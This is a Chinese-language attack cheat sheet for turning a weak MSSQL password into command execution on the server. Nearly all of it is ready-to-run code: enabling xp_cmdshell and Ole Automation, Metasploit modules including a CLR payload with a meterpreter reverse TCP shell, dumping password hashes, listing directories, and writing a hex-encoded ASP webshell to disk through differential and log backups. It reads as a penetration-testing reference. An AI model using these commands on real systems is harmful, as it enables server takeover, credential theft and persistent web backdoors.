发现了一个mssql弱口令,目标是执行系统命令,总结了常用的方法。
一、xp_cmdshell存储过程
Sql Server2005是system权限,2008以上是network权限
- 首先使用SSMS连接mssql数据库
- 开启xp_cmdshell
EXEC sp_configure 'show advanced options',1 //允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
RECONFIGURE
- 执行命令
exec master..xp_cmdshell 'whoami'
- msf中有xp_cmdshell的利用模块
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.80.144
set password 123456
set cmd cmd.exe /c ping 192.168.80.154
二、sp_oacreate存储过程
当xp_cmdshell被删除时,可以尝试使用sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
此方式执行是无回显的,这里将文件写入到temp目录下
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami>C:\\Windows\\Temp\\1.txt'
三、clr程序集
适用于SQL Server 2005以后的版本,msf中有clr的利用模块
use exploit/windows/mssql/mssql_clr_payload
set rhosts 192.168.80.144
set password 123456
set payload windows/x64/meterpreter/reverse_tcp
四、查mssql密码
- 使用sql语句查询
select name,password_hash from master.sys.sql_logins
- 使用msf中的模块查询
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.80.144
set password 123456
五、查绝对路径
使用xp_dirtree存储过程查询网站的绝对路径
execute master..xp_dirtree 'c:',1 -- 只列目录
execute master..xp_dirtree 'c:',1,1 -- 列目录和文件
六、差异备份getshell
当目标服务器存在web服务时,可以尝试使用备份的方式写入webshell,如果不成功一般是目录权限的问题
backup database 库名 to disk = 'c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
七、LOG备份getshell
相对于差异备份,log备份的好处就是备份出来的webshell文件非常小
alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\xxx' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'c:\xxx\2.asp'
参考
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI